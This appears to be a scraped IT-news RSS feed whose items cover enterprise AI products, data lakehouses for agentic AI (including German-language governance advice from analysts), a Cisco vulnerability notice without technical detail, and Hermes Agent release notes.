<p>Salesforce’s Agentforce platform uses the Atlas Reasoning Engine, which is designed to offer autonomous front-office automation (sales, service, and marketing). For organizations where CRM data is more critical than Word documents, Agentforce is emerging as a formidable, high-ROI alternative to Copilot.</p>



<aside class="sidebar">
<h3><strong>Gartner’s 5 stages of agentic AI evolution</strong></h3>
&gt; Gartner projects that agentic AI could drive approximately 30% of enterprise application software revenue by 2035. The analyst firm’s roadmap  identifies five maturity stages for IT leaders: 

&gt;
<li><strong>2025: AI assistants:</strong> Embedded helpers that simplify tasks but remain dependent on human input</li>
<li><strong>2026: Task-specific agents:</strong> Agents capable of end-to-end complex tasks, such as real-time cybersecurity-threat response</li>
<li><strong>2027: Collaborative agents:</strong> Multi-agent systems that work together across data environments to solve multifaceted business problems</li>
<li><strong>2028: Agentic front ends:</strong> A shift where a third of user experiences move away from native apps toward “agentic interfaces” that navigate multiple apps on behalf of the user</li>
<li><strong>2029: Democratized ecosystems:</strong> A new normal where 50% of knowledge workers actively govern or create agents on demand for complex tasks</li>

</aside>




<p>In March 2026, <a href="https://www.computerworld.com/article/4149464/apple-goes-global-with-key-mdm-tools-and-services-for-business.html">Apple launched Apple Business</a>, a platform designed to integrate Apple Intelligence directly into macOS and iOS. Apple claims its competitive edge is its on-screen awareness. Unlike cloud-heavy competitors, Apple Intelligence is built to act across apps locally, appealing to regulated industries concerned about data leakage.</p>



<p>Apple Business now supports automated Managed Apple Accounts via integration with Microsoft Entra ID, a feature designed to let IT teams manage Apple’s AI features using their Microsoft identity stack.</p>



<p>As Microsoft tightens the reins on free access, the question for enterprise IT leaders is no longer whether Copilot can summarize a meeting, but whether the $30-per-month leap delivers enough agentic automation to justify the cost. For many, the answer will lie in the effectiveness of Agent 365 in bringing order to the burgeoning fleet of AI workers.</p>



<p><em>This article was originally published in February 2025 and most recently updated in July 2026.</em></p>



<h3 class="wp-block-heading">More on Microsoft 365 Copilot:</h3>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4036013/how-it-leaders-unlock-productivity-with-microsoft-365-copilot.html">How IT leaders unlock productivity with Microsoft 365 Copilot</a></li>



<li><a href="https://www.computerworld.com/article/4110646/building-end-to-end-workflows-with-microsoft-365-copilot.html">Building end-to-end workflows with Microsoft 365 Copilot</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>
</ul>



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<title><![CDATA[Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability]]></title>
<description><![CDATA[A PoC exploit has been available since public disclosure, and the first exploitation attempts were observed last week. The post Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3640865/it-security-nachrichten/cisco-confirms-in-the-wild-exploitation-of-unified-cm-vulnerability/</link>
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<pubDate>Thu, 02 Jul 2026 13:05:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A PoC exploit has been available since public disclosure, and the first exploitation attempts were observed last week. The post Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cisco-confirms-in-the-wild-exploitation-of-unified-cm-vulnerability/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cisco-confirms-in-the-wild-exploitation-of-unified-cm-vulnerability/">Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability]]></title>
<description><![CDATA[A PoC exploit has been available since public disclosure, and the first exploitation attempts were observed last week.
The post Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3640834/it-security-nachrichten/cisco-confirms-in-the-wild-exploitation-of-unified-cm-vulnerability/</link>
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<pubDate>Thu, 02 Jul 2026 12:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A PoC exploit has been available since public disclosure, and the first exploitation attempts were observed last week.</p>
<p>The post <a href="https://www.securityweek.com/cisco-confirms-in-the-wild-exploitation-of-unified-cm-vulnerability/">Cisco Confirms In-the-Wild Exploitation of Unified CM Vulnerability</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
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<title><![CDATA[Westcon-Comstor taps Olya Scekaturova to lead UK&I sales]]></title>
<description><![CDATA[The experienced channel executive will oversee the technology distributor's unified sales operation across the UK and Ireland]]></description>
<link>https://tsecurity.de/de/3640708/it-security-nachrichten/westcon-comstor-taps-olya-scekaturova-to-lead-uki-sales/</link>
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<pubDate>Thu, 02 Jul 2026 11:54:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The experienced channel executive will oversee the technology distributor's unified sales operation across the UK and Ireland]]></content:encoded>
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<title><![CDATA[Data Lakehouses werden zur Grundlage für Enterprise-KI]]></title>
<description><![CDATA[Auch in der Unternehmensarchitektur sind Lakehouses äußerst elegant und smart. arthitecture | shutterstock.com



Data Lakehouses haben sich zum Goldstandard moderner Unternehmens-Datenplattformen entwickelt. Sie vereinen die Vorteile eines Data Lake – die kostengünstige Speicherung unterschiedli...]]></description>
<link>https://tsecurity.de/de/3640109/it-security-nachrichten/data-lakehouses-werden-zur-grundlage-fuer-enterprise-ki/</link>
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<pubDate>Thu, 02 Jul 2026 06:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/05/arthitecture_shutterstock_2199215359_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Lakehouse Modern 16z9" class="wp-image-3979687" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Auch in der Unternehmensarchitektur sind Lakehouses äußerst elegant und smart. </figcaption></figure><p class="imageCredit">arthitecture | shutterstock.com</p></div>



<p>Data Lakehouses haben sich zum Goldstandard moderner Unternehmens-Datenplattformen entwickelt. Sie vereinen die Vorteile eines Data Lake – die kostengünstige Speicherung unterschiedlichster Datentypen – mit der Zuverlässigkeit, Struktur und Governance eines klassischen Data Warehouse.</p>



<p>Da sie Informationen aus verschiedenen Bereichen eines Unternehmens zentral zusammenführen und gleichzeitig Sicherheits- und Audit-Funktionen bereitstellen, eignen sie sich auch hervorragend als Basis für Enterprise-KI-Systeme. Tatsächlich sind sie inzwischen so weit verbreitet und leistungsfähig, dass sich nahezu alle großen Anbieter von Data Lakes und Data Warehouses zu Lakehouse-Anbietern entwickelt haben. Snowflake beispielsweise startete ursprünglich als Data-Warehouse-Anbieter und hat sich durch mehrere Jahre der Weiterentwicklung und zahlreiche Übernahmen zu einer vollständigen Data-Lakehouse-Plattform entwickelt.</p>



<h2 class="wp-block-heading">Grundlage der zukünftigen KI-Landschaft</h2>



<p>Auch Docusign nutzt diese Plattform nun, um seine Ambitionen im Bereich Agentic AI voranzutreiben. So werden beispielsweise Daten aus Salesforce übernommen und anschließend zum Training eines internen KI-Vertriebsagenten verwendet, erläuter<strong>t <a href="https://www.linkedin.com/in/shivi-singh-verma/" target="_blank" rel="noreferrer noopener">Shivi Verma</a>, </strong>Senior Manager of Engineering bei Docusign. Darüber hinaus trainiert das Unternehmen Machine-Learning-Modelle, um seinen Kunden präzisere Ergebnisse liefern zu können.</p>



<p>Die Informationen werden außerdem über RAG-Embedding-Pipelines an Large Language Models (LLMs) weitergegeben. Gleichzeitig untersucht Docusign den Einsatz des <a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html">Model Context Protocol (MCP)</a>, sobald diese Technologie weiter ausgereift ist.</p>



<p>Ein zentrales Thema beim Bereitstellen der Lakehouse-Daten ist für Docusign jedoch die Sicherheit und Governance. „Wir gehen dabei äußerst vorsichtig vor“, sagt Verma. „Jeder Anwendungsfall durchläuft eine strenge Sicherheitsprüfung sowie Diskussionen mit technischen und fachlichen Stakeholdern, um sicherzustellen, dass wir weder gegen Sicherheitsvorgaben noch gegen Compliance-Anforderungen verstoßen.“</p>



<p>Diese Sicherheitskontrollen greifen sowohl beim Import der Daten in Snowflake als auch beim späteren Export. Besonders strenge Regeln gelten für den Zugriff auf sensible Informationen wie Kundendaten.</p>



<p>„Zunächst stellen wir nur Daten mit einem niedrigen Risikoprofil bereit“, erklärt Verma. Dazu gehören beispielsweise öffentlich verfügbare Informationen wie Inhalte der Unternehmens-Website oder Produktinformationen.</p>



<p>Docusign ist mit diesem Ansatz keineswegs allein. „Wir sehen inzwischen eine Lakehouse-Nutzung von 65 Prozen<strong>t</strong> bei den Kunden von Gartner“, sagt Gartner-Analyst <a href="https://www.linkedin.com/in/prasad-pore/" target="_blank" rel="noreferrer noopener">Prasad Pore</a>. „Das ist innerhalb kurzer Zeit ein außergewöhnlich hoher Wert.“</p>



<p>Und die Zukunft der Lakehouses sieht seiner Einschätzung nach noch vielversprechender aus.</p>



<p>„Lakehouses entwickeln sich zur Grundlage der zukünftigen KI-Landschaft“, sagt Pore. Gleichzeitig erweitern die Anbieter ihre Plattformen gezielt um KI-Funktionen.</p>



<p>Ein klassisches Lakehouse-Konzept umfasst beispielsweise keine Vektordatenbanken, die für RAG-basierte KI-Systeme eine zentrale Rolle spielen.</p>



<p>„Viele Lakehouse-Anbieter haben inzwischen Funktionen zur Vektorindizierung integriert“, erklärt Pore. „Databricks und Microsoft Fabric verfügen bereits über eingebaute Vektor-Funktionalitäten.“ Kleinere Anbieter könnten diese Möglichkeiten allerdings noch nicht bieten.</p>



<p>Auch die Unterstützung für MCP, den Standard zur Verbindung von KI-Agenten mit Datenquellen und Systemen, unterscheidet sich je nach Anbieter und gehört bislang nicht zum traditionellen Funktionsumfang eines Lakehouses.</p>



<h2 class="wp-block-heading">Eine Frage der Wahl</h2>



<p>Ein Data Lakehouse ist nicht die einzige Möglichkeit für Unternehmen, ihren KI-Systemen den geschäftlichen Kontext bereitzustellen, den sie für einen sinnvollen Einsatz benötigen.</p>



<p>So können Unternehmen beispielsweise Vektordatenbanken oder entsprechende Datenpipelines manuell aus einzelnen Datenquellen aufbauen oder eine Data Fabric einsetzen, um die Verbindung zwischen den Systemen herzustellen.</p>



<p>„Eine Data Fabric kann sich direkt mit den ursprünglichen Datenquellen verbinden. Das eignet sich gut für schnelle Analysen“, erklärt Gartner-Analyst Pore. „Allerdings belastet man dadurch die Quellsysteme zusätzlich, was für diese Anwendungen und Maschinen nicht ideal ist.“</p>



<p>Wichtig dabei: Microsoft Fabric ist zwar eine Lakehouse-Plattform, jedoch keine Data-Fabric-Plattform im Sinne der Gartner-Definition.</p>



<p>Ein weiterer Nachteil direkter Verbindungen besteht darin, dass die Datenmodelle der operativen Systeme meist nicht für analytische Zwecke optimiert sind und ihre Nutzung häufig teuer ist. „Der direkte Zugriff auf Quellsysteme ist nicht effizient“, so Pore.</p>



<p>Hinzu kommt, dass für Data Lakehouses bereits etablierte Verfahren zur Verwaltung von Zugriffsrechten existieren.</p>



<p>„Ein Lakehouse vereinheitlicht Daten, Wartung, Sicherheit und Governance physisch an einem Ort“, erklärt Pore. „Gerade für die Einführung von KI ist das von entscheidender Bedeutung. Als unternehmensweite ‘Single Source of Truth’ ist ein Lakehouse der moderne Weg, ein zentrales Daten-Repository aufzubauen.“</p>



<h2 class="wp-block-heading">Vom Data Lake zum Lakehouse</h2>



<p>Das Beratungsunternehmen Lemongrass begann bereits vor rund zehn Jahren mit einem klassischen Data Lake und entwickelte es vor etwa vier Jahren schrittweise zu einem Lakehouse weiter.</p>



<p>„Damals war das Lakehouse-Konzept noch längst nicht so verbreitet“, erinnert sich <a href="https://www.linkedin.com/in/kausikchaudhuri/" target="_blank" rel="noreferrer noopener">Kausik Chaudhuri</a>, Chief Innovation Officer bei Lemongrass.</p>



<p>Deshalb entwickelte das Unternehmen eigene Lakehouse-Funktionen auf Basis seines Amazon-S3-Data-Lakes. Nun, da das Lakehouse zunehmend KI-Anwendungen unterstützt, steht bereits die nächste Modernisierung an.</p>



<p>„Derzeit arbeiten wir an einer Lösung für Incident- und Change-Management“, erläutert Chaudhuri.</p>



<p>Die ursprünglichen Daten liegen in ServiceNow. Würde man sie direkt aus dem Lakehouse extrahieren, um sie in einem KI-System zu nutzen, wären die Kosten zu hoch. „Deshalb überlegen wir jetzt, einen MCP-Server aufzubauen, der diese Daten gezielt abfragt“, fügt er hinzu.</p>



<p>Gleichzeitig plant Lemongrass den Wechsel von den selbst entwickelten Lakehouse-Erweiterungen zu einer Standardlösung.</p>



<p>„Als wir begonnen haben, war Lemongrass vor allem ein Verfechter von AWS, weshalb viele unserer Werkzeuge auf AWS aufgebaut wurden“, erklärt Chaudhuri. „Jetzt denken wir darüber nach, diesen Ansatz zu ändern, weil KI deutlich mehr Möglichkeiten eröffnet.“</p>



<p>Allerdings bietet inzwischen auch AWS selbst umfassende Lakehouse-Funktionalitäten. „Die Daten liegen bereits dort. Wir müssen das Rad also nicht neu erfinden.“</p>



<p>Darüber hinaus stellt AWS direkte Anbindungen an Anthropic Claude und weitere KI-Modelle bereit. Da diese Modelle ebenfalls innerhalb der AWS-Infrastruktur betrieben werden, fallen keine Egress-Gebühren an.</p>



<p>Lemongrass plant, die Modernisierung im dritten Quartal dieses Jahres zunächst mit einem Proof of Concept (PoC) zu beginnen. Dabei müsse aber besonders sorgfältig müsse entschieden werden, welche Daten und in welchem Umfang sie aus dem Lakehouse an KI-Modelle übertragen werden.</p>



<p>„Wir schicken keine Kundendaten an ein LLM“, betont Chaudhuri. „Und ich lese auch nicht 10.000 Datensätze aus und sende sie an Claude – das würde den Token-Verbrauch explodieren lassen. Schon vor einigen Jahren haben wir erkannt, dass wir bankrottgehen könnten, wenn wir den Token-Verbrauch nicht sorgfältig kontrollieren.“</p>



<p>Für manche Anwendungsfälle muss das LLM nach der Implementierung der Lösung überhaupt keine Kundendaten mehr sehen. Beispielsweise erstellten Mitarbeiter früher manuell Statusberichte über Kunden für den eigenen Gebrauch – ein zeitaufwendiger Prozess. Ein LLM könnte diese Aufgabe zwar übernehmen, hätte dabei jedoch Zugriff auf sensible Kundendaten. Außerdem liefern generative KI-Modelle aufgrund ihrer nicht deterministischen Arbeitsweise jedes Mal leicht unterschiedliche Ergebnisse.</p>



<p>Ein weiteres Beispiel sind Formulare, die Kunden später unterschreiben sollen. Auch hier könnte ein LLM bei jeder Anfrage ein neues Formular generieren.</p>



<p>„Deshalb haben wir Claude stattdessen gebeten, ein Programm zu schreiben, das diese Eingaben verarbeitet und daraus den Bericht erzeugt“, erklärt Chaudhuri. Die eigentliche Berichts- oder Formularerstellung erfolgt anschließend durch klassische, deterministische Software. Dadurch bleiben Kundendaten geschützt, während Berichte schnell und kostengünstig erzeugt werden können.</p>



<p>Andere Unternehmen setzen KI dagegen bereits intensiv ein, um ihre Datenbestände besser auszuschöpfen.</p>



<p>Laut einem aktuellen Databricks-Bericht, der auf Daten von 20.000 Unternehmen basiert, stieg der Anteil der von KI-Agenten erzeugten Datenbanken innerhalb von zwei Jahren von 0,1 Prozent auf 80 Prozent. Heute erstellen KI-Agenten bereits 97 Prozent aller Datenbank-Branches.</p>



<h2 class="wp-block-heading">Sicherheit und Governance</h2>



<p>Eine der größten Herausforderungen für Unternehmen besteht darin, herauszufinden, wie sie mit Sicherheits- und anderen damit verbundenen Fragen umgehen sollen, wenn KI-Agenten auf Data Lakehouses zugreifen.</p>



<p>In der Vergangenheit wurden Daten hauptsächlich an Dashboards weitergeleitet, in denen die Sicherheits- und Zugriffskontrollen fest programmiert waren. Oder die Daten gingen an Datenanalysten, die im Rahmen ihrer eigenen Zugriffsrechte arbeiteten. Die ersten KI-Anwendungen basierten überwiegend auf Retrieval-Augmented Generation (RAG). Dabei extrahiert klassische, deterministische Software die benötigten Daten und fügt sie in den Prompt eines Large Language Models für einen konkreten Anwendungsfall ein. Die Entwickler konnten die Sicherheitsregeln dabei individuell für jeden Workflow festlegen.</p>



<p>Mit dem Aufkommen agentischer KI und MCP-Servern (Model Context Protocol) verändert sich dieses Modell grundlegend: KI-Agenten können nun selbstständig entscheiden, welche Daten sie benötigen, und diese eigenständig abrufen.</p>



<p>Nach Ansicht von Genpact-Manager Arellano müssen Unternehmen deshalb neue Konzepte entwickeln, um die Identitäten von KI-Agenten zu verwalten, den Zugriff auf Daten zu kontrollieren, Prüfpfade zu erstellen sowie Prompts und Inhalte zu filtern.</p>



<p>„Agenten benötigen ihre eigenen Zugangsdaten“, erklärt er. Beispielsweise dürfen KI-Agenten unter Umständen niemals Zugriff auf Patientenakten erhalten. „Ebenso wichtig sind Audit Trails, um lückenlos nachvollziehen zu können, was der Agent getan hat.“</p>



<p>Arellano zufolge bieten einige Lakehouse-Anbieter, darunter Databricks, diese Funktionalität an. Zusätzlich können Unternehmen Tools von Anbietern wie Okta, Palo Alto oder Zscaler integrieren.</p>



<h2 class="wp-block-heading">Die neue semantische Grenze</h2>



<p>Die nächste Entwicklungsstufe des Lakehouse ist der Semantic Layer. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-11-gartner-announces-top-predictions-for-data-and-analytics-in-2026">Gartner</a> schätzt, dass universelle semantische Ebenen bis 2030 zur unverzichtbaren Infrastruktur gehören werden.</p>



<p>„Der Aufbau einer universellen semantischen Schicht ist heute eine Pflichtaufgabe für Verantwortliche im Bereich Daten und Analytics, die KI-Projekte leiten oder unterstützen“, erklärt Gartner. „Nur so lassen sich Genauigkeit verbessern, Kosten kontrollieren, technische KI-Schulden deutlich reduzieren, Multi-Agenten-Systeme aufeinander abstimmen und kostspielige Inkonsistenzen verhindern, bevor sie sich ausbreiten.“</p>



<p>Es reicht nämlich nicht aus, einer KI lediglich Zugriff auf Daten zu geben. Sie muss auch verstehen, was diese Daten für das Unternehmen tatsächlich bedeuten. Die semantische Ebene bildet genau dieses Geschäftswissen ab, das normalerweise nicht in einer strukturierten Datenbank formalisiert ist.  Beispielsweise kann der Begriff „Kunde“ oder „Bestellung“ in verschiedenen Unternehmenssystemen jeweils etwas anderes bedeuten.</p>



<p>„Früher war die semantische Ebene zwar wünschenswert, aber nicht unbedingt notwendig, da Datenwissenschaftler wussten, welche Datenquellen sie abfragen wollten“, erläutert <a href="https://www.linkedin.com/in/amitkinha/">Amit Kinha</a>, Vorstandsmitglied der FinOps Foundation und Field-CTO bei DoiT International, einem Cloud-Beratungsunternehmen.</p>



<p>Für KI-Agenten gilt das jedoch nicht mehr. „Ohne eine semantische Schicht weiß ein Agent möglicherweise gar nicht, wo er nach den benötigten Daten suchen soll”, so Kinha. Oder noch schlimmer: „Er führt fehlerhafte Joins aus oder löst Prozesse aus, die die Kosten explodieren lassen.“</p>



<p>Deshalbwerde die semantische Schicht künftig entscheidend dafür sein, Data Lakehouses effektiv für KI einzusetzen.</p>



<h2 class="wp-block-heading">Mitlernendes System</h2>



<p>Die semantische Schicht kann darüber hinaus Teil eines Lern- und Feedbackprozesses werden. <a href="https://www.linkedin.com/in/kevinmartelli/">Kevin Martelli</a>, Consulting AI Solution Development Leader bei EY Americas, beschreibt folgendes Beispiel: Angenommen, in einem Unternehmen müssen Zahlungen über 500.000 Dollar vom CFO genehmigt werden. Ein KI-Agent fordert die Genehmigung eines Mitarbeiters an.</p>



<p>Der Mitarbeiter erkennt jedoch: „Ich soll diese Rechnung freigeben, aber ich weiß, dass Beträge über 500.000 Dollar zusätzlich die Zustimmung des CFO benötigen.“</p>



<p>Diese Information kann anschließend dauerhaft gespeichert werden. „Sie kann innerhalb der Sitzung genutzt und anschließend als Prozessdokument oder Ereignisprotokoll wieder im Lakehouse abgelegt werden“, erklärt Martelli. Dadurch lernten agentische Systeme mit jeder Nutzung hinzu.</p>



<p>„Genau dadurch wird das System im Laufe der Zeit immer wertvoller – denn am ersten Tag wird man niemals alles perfekt modellieren können.“</p>



<p>Die semantische Schicht befindet sich allerdings noch in einer frühen Entwicklungsphase, wobei die verschiedenen Lakehouse-Anbieter unterschiedliche Ansätze verfolgen.</p>



<p>„In der Branche wird derzeit intensiv darüber diskutiert, wie Data Lakehouses und semantische Schichten zusammenwachsen und wo diese Schicht künftig eigentlich angesiedelt sein sollte“, erklärt <a href="https://www.linkedin.com/in/mattarellano/" target="_blank" rel="noreferrer noopener">Matt Arellano</a>, SVP für Daten und KI bei der Digital-Transformation-Beratungsfirma Genpact. Einige Anbieter integrieren semantische Funktionen direkt in ihre Lakehouse-Plattformen oder kaufen entsprechende Spezialunternehmen hinzu. Andere Unternehmen setzen stattdessen auf spezialisierte Drittanbieter.</p>



<p>„Die Kunden tun sich damit schwer“, so Arellano. „Sie alle versuchen herauszufinden, welche Kombination aus Werkzeugen und Prozessen langfristig die richtige ist.“</p>



<p><a href="https://www.linkedin.com/in/stevenkaran/" target="_blank" rel="noreferrer noopener">Steven Karan</a>, Vice President für KI-Transformation bei Capgemini Australien und Neuseeland, sieht im Lakehouse eine Entwicklung hin zu einer zentralen Orchestrierungsschicht.</p>



<p>„Unternehmen konzentrieren sich mittlerweile weniger auf klassische Analysen und Berichte, sondern vielmehr auf KI-gesteuerte Anwendungen und agentenbasierte Systeme“, erklärt er. „Die effektivsten Architekturen, die ich heute sehe, kombinieren einen Lakehouse-Kern mit spezialisierten Serverschichten.“</p>



<p>Dazu gehören Vektordatenbanken für KI, Streaming-Plattformen für Echtzeitdaten und operative Datenbanken für Anwendungen mit geringer Latenz.</p>



<p>Das Lakehouse diene nicht mehr nur der Analytik, fügt er hinzu. Es sei die Grundlage für Unternehmensdaten und KI. „Seine Aufgabe besteht heute weniger darin, alle anderen Systeme zu ersetzen, sondern vielmehr darin, sie miteinander zu verbinden, zentral zu steuern und zu überwachen. Damit soll sichergestellt werden, dass Unternehmen schneller innovieren können, ohne die Kontrolle über ihre Daten zu verlieren.“ (mb)</p>



<p><em>Dieser Artikel basiert auf einem <a href="https://www.cio.com/article/4184051/data-lakehouses-are-becoming-foundations-for-enterprise-ai.html">Beitrag</a> von CIO.com.</em></p>
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<title><![CDATA[SnapLogic MCP Builder eases creation of MCP servers]]></title>
<description><![CDATA[SnapLogic has released MCP Builder, a template-based tool designed to help organizations operationalize AI faster by turning existing integration pipelines into agent-ready Model Context Protocol (MCP) servers.



Announced July 1 and generally available in the MCP Server workflow of the SnapLogi...]]></description>
<link>https://tsecurity.de/de/3639896/ai-nachrichten/snaplogic-mcp-builder-eases-creation-of-mcp-servers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639896/ai-nachrichten/snaplogic-mcp-builder-eases-creation-of-mcp-servers/</guid>
<pubDate>Thu, 02 Jul 2026 01:18:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>SnapLogic has released MCP Builder, a template-based tool designed to help organizations operationalize AI faster by turning existing integration pipelines into agent-ready <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers.</p>



<p>Announced July 1 and generally available in the <a href="https://www.snaplogic.com/products/mcp">MCP Server</a> workflow of the SnapLogic platform, MCP Builder generates MCP servers from existing integrations, OpenAPI specifications, and API management services, SnapLogic said. Organizations can publish MCP tools without rebuilding workflows, writing code, or manually constructing MCP implementations, resulting in faster deployment and greater consistency, according to the company. </p>



<p>SnapLogic said MCP Builder makes it easier to create MCP Servers, connecting AI agents to trusted enterprise systems and workflows. Unlike DIY MCP approaches, SnapLogic accelerates MCP adoption by turning existing deterministic pipelines into governed MCP tools through a one-step creation experience, while providing enterprise connectivity, identity propagation, observability, and life-cycle governance through the unified SnapLogic Agentic Integration Platform.</p>
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<title><![CDATA[Security Lakehouse: Databricks kauft Panther - CRN DE]]></title>
<description><![CDATA[Warum betrachtet Databricks Cybersicherheit primär als ein Datenproblem? Warum scheitern traditionelle SIEM-Systeme oft an unstrukturierten Daten ...]]></description>
<link>https://tsecurity.de/de/3639722/it-security-nachrichten/security-lakehouse-databricks-kauft-panther-crn-de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639722/it-security-nachrichten/security-lakehouse-databricks-kauft-panther-crn-de/</guid>
<pubDate>Wed, 01 Jul 2026 23:23:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Warum betrachtet Databricks <b>Cybersicherheit</b> primär als ein Datenproblem? Warum scheitern traditionelle SIEM-Systeme oft an unstrukturierten Daten ...]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]></title>
<description><![CDATA[Hermes Agent v0.18.0 (v2026.7.1)
Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all...]]></description>
<link>https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</guid>
<pubDate>Wed, 01 Jul 2026 22:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.0 (v2026.7.1)</h1>
<p><strong>Release Date:</strong> July 1, 2026<br>
<strong>Since v0.17.0:</strong> ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · <strong>949 issues closed</strong> · <strong>370+ community contributors</strong></p>
<blockquote>
<p><strong>The Judgment Release.</strong> Over the last week and a half the team put nearly all of its effort into one goal: resolve <strong>every P0 and P1 issue and PR in the entire Hermes Agent repo</strong> — and as of this release, <strong>100% of them are closed.</strong> Zero open P0s. Zero open P1s. That's <strong>~700 highest-priority items</strong> cleared as part of <strong>~1,950 total issues and PRs closed</strong> this window. We intend to keep P0/P1 at zero from here on.</p>
<p>On top of that clean-sweep, v0.18.0 is about how <em>well</em> Hermes thinks and how it <em>knows when its work is actually done</em>. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, <code>/goal</code> gained completion contracts, and <code>/learn</code> + <code>/journey</code> turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.</p>
</blockquote>
<h2>🎯 The P0/P1 Clean Sweep — 100% resolved</h2>
<p>This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:</p>
<table>
<thead>
<tr>
<th>Priority</th>
<th>Issues closed</th>
<th>PRs merged</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P0</strong> (critical)</td>
<td>3</td>
<td>8</td>
</tr>
<tr>
<td><strong>P1</strong> (high)</td>
<td>493</td>
<td>188</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>496</strong></td>
<td><strong>196</strong></td>
</tr>
</tbody>
</table>
<p>That's <strong>~692 highest-priority items resolved</strong> in twelve days — and at the moment the sweep completed, the open P0/P1 count hit <strong>0 across the entire repo.</strong> The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785584067" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56391" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/56391/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/56391">#56391</a>) and its fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785996667" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56416/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56416">#56416</a>), closed on an all-nighter right before this release cut.</p>
